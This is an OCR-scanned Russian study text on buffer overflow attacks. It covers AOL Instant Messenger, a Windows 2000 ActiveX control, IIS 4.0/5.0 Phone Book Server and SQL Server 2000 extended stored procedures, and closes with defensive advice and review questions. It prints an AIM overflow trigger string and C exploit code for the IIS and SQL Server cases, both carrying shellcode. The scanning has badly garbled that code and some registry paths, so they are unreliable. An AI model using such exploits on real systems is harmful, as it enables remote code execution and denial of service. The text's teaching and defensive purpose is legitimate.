Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
СРС_ИПОВС_МСЗИ.doc
Скачиваний:
41
Добавлен:
05.06.2015
Размер:
1.79 Mб
Скачать

Способ применения

Удаленный пользователь может произвести переполнение буфера программы, для этого нужно отослать видоизмененный адрес URL, используя протокол AIM, в котором будут содержаться параметры goim screenname.

Программа AIM вовсе не обязательно должна работать во время атаки. Дело в том, что если активизировать свойство AIM: //URL, набрав адрес URL в Web-броузере (или же программа сделает это вместо пользователя), то переполнение буфера все же произойдет.

Суть этой уязвимости в том, что AOL Instant Messenger является частью других программ, например Web-броузера Netscape Navigator, и очень часто устанавливается по умолчанию без ведома пользователя. Не забывайте постоянно проверять, что и как работает на вашей системе, а также желательно придерживаться принципа ограничения привилегий. Если программа не нужна, ее следует немедленно удалить. Можно даже не использовать AIM, но если он установлен другой программой, то угроза системе все еще остается.

Методы защиты

Для тех, кто пользуется данной программой, нужно установить саму новую версию. Всем остальным рекомендуется удалить ее с жесткого диска.

Если же предыдущие советы не подходят, тогда придется сделать указанные ниже шаги (для всех версий до 4.3.2229), которые позволят избавиться от уязвимости строки адреса URL.

AOL Instant Messenger перезаписывает параметры реестра при каждом запуске, так что исправления реестра здесь не помогут. В операционных системах, в которых можно устанавливать контроль доступа к ключам системного реестра (Microsoft Windows NT и 2000), нужно сделать следующее.

1. Данные ключи реестра должны быть пустые:

  • HKEY_CLASSES_ROOT\aim\shel_I\open\command

  • HKEY_CLASSES_ROOT\aimfi1e\she1I\open\command

  • HKEY_CLASSES-ROOT\AIM. Protocol\cl,srD

  • HKEY_CLASSES_ROOT\ArM. protocol.1\CLSID

2. Поменяйте права доступа к этим ключам на Read-Only.

Этот способ, к сожалению, не подходит для ОС Windows 95/98/ME, так как в них нет механизма управления доступом к реестру.

Каждый раз при запуске AIM придется удалять ключ реестра в HKEY_CLASSES_ROOT\ aim\shell\open\command, потому что, как уже говорилось, программа его постоянно перезаписывает.

Исходный код/псевдокод

Для переполнения буфера программе нужно отослать следующую строку:

aim:buddyicon?screenname=abob&groupname=asdf&Src=http://Localhost/AAA,..

Дополнительная информация

Зайдите на Web-узел www. atstake , com.

Windows 2000 ActiveX

Буфер без контроля ошибок существует в элементе управления "Системный Монитор" ActiveX s ОC Windows 2000 (a именно: SYSOMON.OCX, classid: G4D2DBEo-D1DD-11C8-940F-008029004347). В зависимости от введенной информации хакер может устроить атаку DoS или же выполнить свой код на удаленной системе. Подобное можно сделать че­рез Web-броузер или электронное письмо с дескрипторами HTML, но только если вклю­чена поддержка ActiveX. К сожалению, в большинстве Web-броузеров эта поддержка по умолчанию активизирована.

Описание эксплоита

  • Название: переполнение буфера в элементе управления ActiveX Windows 2000.

  • Операционная система: Windows 2000.

  • Протоколы/службы: совместимые с технологией ActiveX почтовые службы и Web- броузеры.

Принцип действия

Уязвимость находится в параметре LogFileName, который входит в состав ActiveX. Если длина данных, которые вводятся, превышает 2000 символов, то память, содержащая выполняемый код, будет перезаписана введенной информацией. Эти данные выполняют­ся на уровне полномочий обычного пользователя.

Способ применения

Для успешной атаки хакер должен отправить клиенту видоизмененный файл * . ASX, что можно сделать через Web-броузер. Или выложить этот файл на Web-узле, с которого он и будет попадать в систему.

Методы защиты

Если вы администратор сети, то лучшим способом защиты будет сделать предупреждение всем пользователям — никогда не загружать и не открывать файлы с расширением ASX. Необходимо настроить Web-броузеры на блокирование такого трафика, поскольку программа взлома может работать в фоновом режиме, пользователь же останется в полном неведении.

Дополнительная информация

Исходные коды и дополнительная информация доступны на следующих Web-узлах:

  • http://www.ussrback.com/microsoft/msmactivex.html

  • http://www.ussrback.com/microsoft/msmactivex2.html

  • http://www.securityfocus.com

  • http://www.microsoft.com

IIS 4.0/5.0 Phone Book Server

Возможность переполнения буфера существует в файле PBSERVER. DLL, который предоставляет службу телефонной книги для AOL Instant Messenger, что и позволяет удаленное выполнение кода или атаку DoS.

Описание эксплоита

  • Название: переполнение буфера в IIS 4.0/5.0 Phone Book Server.

  • Операционная система: Windows NT или Windows 2000.

  • Протоколы/службы: служба Microsoft Phone Book Server на серверах IIS 4.0 и 5.0.

Принцип действия

Переполнение буфера происходит, когда параметр РВ строки запроса делается слишком большим. Если в РВ внести много заглавных букв А, то системный процесс inetinfo разрушает систему жертвы нападения.

Способ применения

Для начала регистр ESI должен быть заполнен заглавными буквами А. Затем этот регистр нужно разместить где-то в памяти, однако следует быть осторожным, чтобы не повлиять на систему раньше времени. Это можно сделать, проверив весь код и установив в ESI адрес возврата к буферу, откуда он и вызывается. Далее регистр ESI устанавливается равным 0х5Е9351Е4, это значение содержит адрес возврата к буферу, который находится в диапазоне 0x0027****. Этот адрес 0x0027**** затем передается в регистр ЕАХ. Если значение адреса будет 0х5е93554с, тогда содержимое ячейки, адресуемой ЕАХ, переда­ется в ЕСХ, после чего вызывается регистр ECX+lCh. Последний регистр размещает не­сколько байтов в буфере.

Симптомы атаки

К сожалению, проверенных способов выявить эту атаку нет. Можно лишь посоветовать администратору следить за службой Inetinfo. Если в нем произойдет несколько по­вторных сбоев, тогда нужно будет установить соответствующую заплату.

Способы защиты

Если служба Phone Book не нужна, тогда удалите файл PBSERVER. DLL. В ином случае следует загрузить и установить системное обновление от Microsoft. ,

Исходный код/псевдокод

Исходный код эксплоита можно взять по адресу: http://www.atstake.com/ research/advisories/2000,/pbserver-poc.c.

Далее идет часть кода, в котором показана процедура заполнения буфера буквами А.

int checkweb(int port)

{

int snd, rcv, err, count=0, incount=o;

char *buffer=,,GET

/pbserver/pbserver.d11?osArch=o&osrype=2&LCrD=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEE&oSVer=t55t8b*ECt90t90t90*90t9O'*bbBfftffgff?ff*83*eb*Bbt53&68 %6e%2e%74%78%68%76%6f%72%75%68%20%70%73%72%68%69%72%20%3e%68%2f%63%20%64%90% 90&CMVer=%68%65%78%65%20%68%63%6d%64%2e%B8%8 6%a9%fl%77%8d%dc%33%f6%56%53%ff% dO%90%90DDDDDDDDDDDDDDDDDDD&PBVer=&OPB=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA % 4 с % 5 5 % 9 3 % 5 e % с c % CC AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAIjAAAAAAAAAAAAAAAAAAAAA% 4%51%93%5ennnn HTTP/7.1\r\nHost: L27.0.0. i-\r\n\r\n",.

sa.sin_ort=htons(port);

sock=socket (AF_INET, SOCK_STREAM, 0);

bind (sock, (struck sockaddi*1 &sa,- sixeof(sa));

if (sock==INVALIDSOCKET)

{

closesocket(sock);

return 0;

)

if(connect(sock,(struct sockaddr*)&sa, sizeof(sa)) < O)

{

closesocket(sock);

printf("Ошибка подключения\n");

return 0t

else

{

snd:send(sock, buffer, s.trlen(buf fer),, .0);

printf("Буфер oтnpaвлeн. \n'!)r

}

closesocket(sock) ;

return 0i

}

Дополнительная информация

Вся необходимые сведения можно найти на следующих Web-узлах:

  • http://www.securityfocus.com

  • http://www,atstake.com

  • http://www.microsoft.com

Расширенные хранимые процедуры SQL Server 2000

В базе данных SQL Server есть специальный механизм, с помощью которого запрос может выполнить функцию, являющуюся расширенной хранимой процедурой. Некоторые из этих процедур подвержены переполнению буфера, и в конфигурации сервера по умолчанию процедуры могут выполняться незарегистрированным пользователем.

Описание эксплоита

  • Название: Расширенные хранимые процедуры в SQL Server 2000.

  • Операционная система: Microsoft Windows 2000 Advanced Server.

  • Протоколы/службы: SQL Server 2000 Enterprise Edition.

Принцип действия

Расширенная хранимая процедура может быть вызвана компонентом программы, которая посылает обычные запросы SQL, например Microsoft Access, ISQL или MSQuery. Различные приложения, работающие на IIS (Internet Information Server), могут использо-вать интерфейс ActiveX Data Objects API для подключения к базам данных сервера SQL.

Способ применения

Вот синтаксис вызова расширенной хранимой процедуры: exec , , .... Например, следующий запрос возвращает дерево каталогов с:\winnt: exec xp_dirtree 'с:\winnt'

Если назначать слишком длинные строки разным параметрам, то можно переполнить буфер, где хранятся эти параметры, после чего выполнять любой код. Уязвимы следующие расширенные хранимые процедуры.

  • xp_peekqueue (XPQUEUE.DLL) и xp_printstatements (XPREPL.DLL). Слишком длинная строка данных для первого параметра вызывает нарушение доступа и перезаписывает адрес возврата обработчика ошибок.

  • xp_proxiedmetadata (XPREPL. DLL). Работает с четырьмя параметрами, при этом слишком длинная строка данных для второго параметра вызывает нарушение доступа и перезаписывает адрес возврата обработчика ошибок.

  • xp_SetSQLSecurity (XPSTAR. DLL). Всего 4 параметра. Избыточная строка данных для третьего параметра вызывает ошибку, которая приводит к немедленному окончанию работы сервера SQL.

Симптомы атаки

Для обнаружения атаки придется просматривать проходящие через сеть пакеты и выявлять в них присущие только пакетам эксплоита особенности. Более конкретно — нужно искать длинные строки в регистре ESP, который передается серверу SQL. Как только вредоносные пакеты обнаружены, следует определить IP-адрес источника и заблокировать его.

Способы защиты

Запретите открытый доступ (PUBLIC) к расширенным хранимым процедурам, если в таком доступе нет острой необходимости. Или же установите заплату от производителя.

Исходный код/псевдокод

Исходный код программы взлома можно найти по адресу: http: //www.atstake. com/research/advisories/2000/sqladv2-poc.c.

Я решил разместить весь код, поскольку он не такой уж и большой, а на его примере можно убедиться, что для качественного взлома не требуется каких-то особенных усилий. Вот почему число взломов постоянно растет во всем мире.

// SQL2коverflow.c

// This code creates a file called 'SQL2KOverflow.txt' in the root of the

// c: drive.

#include <stdio.h>

#include <windows.h> #iniclude (wchar.h>

#include <lmcons.h> #include <sq1.h>

#include <sgIext.h>

,; . ;■ r,.>, v. ? : :^.;.k-... %>,:$.1^ -■ in

int Syntax (I {

printf( "Syntax error. Correct syntax is,: \nSQL2Koverflow ,

<hostname> <username> <password>'; ti . .

return 1;

}

■ ,. . . ■'•■■:. -.f-A:;: ■>::',;. ■■... . i .'-г-.;--'' .<■-.- '■"■■.,•■. \ -'■•■ - ■ НЩ

rnt rnain(int argc, char *argv[]) {

char szBuffertlo2sl ; , , _ •

SWORD slistrLeni

SQLHDBC hdbc;

SQLRETURN nResul_t,.

SQLHANDLE henv,

HSTMT hstmt,.

SCHAR Inconnectionstring t10Z5l = .,TDRIVER=iSOL Server) ,SERyER="t

OCHAR query[20000] = "exec xp__proxiedmetadata 'a1, '"; ru

]-nt count;

if ( argc != 4 ) . ,.,. :Г

{ ^ '"'; ":. ;

return Syntax();

if ( ( strten( :argrv[.l] ) > 250 ,,l "

( strl-en( argv [2] ] > 250 j . 11 'f> ( strLen( argv131 ) > 250) ) ' ■ return Syntax O);

strcat( InconnectionString, argv[1] ) ;

strcat( InConnectionString, ";UfO=; i i

strcat( InConnectionString, atgv14 ) ;

strcat( InconnectionStrin!, "rpWO=; il

strcat( InConnectionString, argv[3] iI

strcat( InConnectionString, ";DATABASE=master" );■ ■

for ( count = 30; count < 259g; count++ ) query [count] = (char) .Oxg0,

guery Icount] = 0;

// 0x7i782548 = wxtH = this woiks spO

strcat( query, "\x48\x25\x78\x77" );i;:. '■'(■; ■ V';-"; '■-'■•.': 4 , -Л

strcat ( query, .-'

"\x9O\x90\x90\x90\x90\x33\xCoph.txthftowhOverhel2khc:\\STyppGpHpppe\xBB\x8D +\xE9\x77\xFF\xDO\x33\xC0P\xB8\xCF\x06\xE9\x77\xFF\xD0"

и );.

strcat ( query, ". ', ,a1r ) ; ■'a," ) i

if (SQlAll,ocHandle(SOlHANDIF._EINV, SQL_NUII,-HANDLE,&hEN\/ ! ) SQL_SOCCESS) ■ , . . '" ' ' л,

printf.("Error SOLA]locHandLe"); ■' eturn 0;

  • настроить брандмауэр на фильтрацию определенного трафика;

  • проверять основные приложения,"

  • работать с программами при наименьшем возможном уровне полномочий.

Закрыть порт или службу

Самый простой способ защиты от переполнения буфера — это удаление уязвимой программы. Если приложение устанавливалось по умолчанию "на всякий случай", не исполь­зуется или просто не нужно, программу и все относящиеся к ней службы и порть) нужно удалить или закрыть. Очень часто я видел плохо защищенные системы, и все дело было в ненужных программах, которые, тем не менее, были установлены. Иногда администраторы даже не знали, что за приложения работали в системе.

Первое и основное правило разумного сетевого администратора звучит так: "знайте, что установлено на вашей системе". Чем больше портов и служб закрыто, тем меньше шансов для удаленного взлома компьютера или сети.

Установить заплаты

Как правило, после обнаружения проблемы, связанной с переполнением буфера, производитель выпускает заплату или новую версию программы. В любом случае будет добавлена проверка размера данных. Пока что это самый лучший способ избавления от уязвимости. Описанные в этой главе меры защиты, конечно, пригодятся, но не решат в корне проблемы.

Фильтровать трафик

Почти все компании боятся того, что некто сможет пробраться к ним из всемирной сети и взломать систему, используя переполнение буфера. Неплохим способом предотвратить возможное нападение будет блокирование трафика уязвимой программы через брандмауэр. Система, конечно, все равно не будет в полной безопасности, однако хакерам для проникно­вения в нее придется потрудиться. Если же у компании нет внешних брандмауэров, то она автоматически становится лакомым кусочком для всех искателей легкой добычи.

Проверять основные приложения

Будьте всегда начеку, и тогда вас не застанут врасплох. Не следует сидеть сложа руки и ждать, пока злоумышленник с помощью переполнения буфера проникнет в компьютер, если можно все заранее проверить. Безусловно, все программы протестировать невозможно, слишком уж много времени на это понадобится. Однако для ключевых приложений стоит найти свободную минутку и просмотреть их на наличие уязвимостей. Если запрашивается имя пользователя, введите 200 любых символов и посмотрите, что будет дальше. Возможно, вы будете весьма неприятно удивлены.

Одна из главных особенностей переполнения буфера — это то, что уязвимость может присутствовать в программе лет 10, никак себя не проявляя. И все будет хорошо, пока на горизонте не появится любопытный хакер и не испытает программу на прочность. Так что для самых важных приложений не поленитесь провести хорошую комплексную проверку.

Работать с программами при наименьшем возможном уровне привилегий

Работая с наименьшим уровнем доступа, можно эффективно проверить настройку программного обеспечения. Очень часто, особенно на компьютерах с ОС UNIX, у администраторов бывает слишком много работы, а потому нет времени все настроить как следует. Чтобы побыстрее справиться, они устанавливают либо настраивают приложения или процессы с правами суперпользователя. Конечно, так проще всего убедиться в том, что система работает нормально. Кроме того, это простой способ гарантировать, что система будет уязвима для атак злоумышленников, которых не надо долго упрашивать, чтобы этим воспользоваться.

Для защиты от атак, особенно от переполнения буфера, желательно настроить все программное обеспечение на работу в самом минимальном режиме доступа. Таким образом, если хакер все же проберется в систему, то ему будет трудно что-либо сделать.

Не забывайте о принципе ограничения полномочий, когда настраиваете безопасность всей сети компании. Суть принципа в том, что неважно, кто и с чем работает в системе, у него должны быть права только на исполнение своих прямых обязанностей и ничего более.

Резюме

Атаки, приводящие к переполнению буфера, очень опасны, их результатом может стать или нарушение работы системы, или получение хакером прав доступа администратора. Подверженность этим атакам зависит не от правильности настройки системы, а от разработчиков программного приложения. Покупая программу, мы слепо верим в то, что заплатив (иногда немало) денег, получим стабильный, надежный продукт. Если программисты не внедрили нормального контроля над ошибками, то проблема может обнаружиться лишь спустя несколько лет. Вот почему так опасно пользоваться одними и теми же программами на протяжении многих лет, ведь пользователь получает ложную уверенность в безопасности системы, а это чревато большими разочарованиями.

Системные администраторы должны хорошо разбираться в разновидностях атак по переполнению буфера и понимать, что если система безопасна сегодня, то она вовсе не обязательно останется такой и завтра. Компании должны ограничивать рабочие службы и порты, помнить о принципе наименьших привилегий, чтобы уязвимость одного из при­ложений приводила к минимальному риску.

Вопросы для самопроверки

Что такое стек?

Как записываются данные в стек для подпрограмм?

Принципы действия атаки – переполнение буфера.

Какие основные принципы защиты от атаки – перепонение буфера?

Какие меры помогают уменьшить эффективность атаки – переполнение буфера?

Методы взлома Windows NT

Серверы на базе Windows NT используются многими компаниями для выполнения приложений, стабильная работа которых очень важна. Кроме того, Windows NT также часто используется как операционная система для брандмауэров и Web-серверов, которые будут доступны из Internet. Чем большее количество серверов на базе одной операционной системы присутствует в Internet, тем больше вероятность взлома таких серверов. Хакеры все время пытаются взломать серверы и получить доступ к конфиденциальной информации. Поэтому очень важно, чтобы администратор хорошо разбирался в слабых местах системы и методах взлома Windows NT и мог принять адекватные меры для защиты сервера.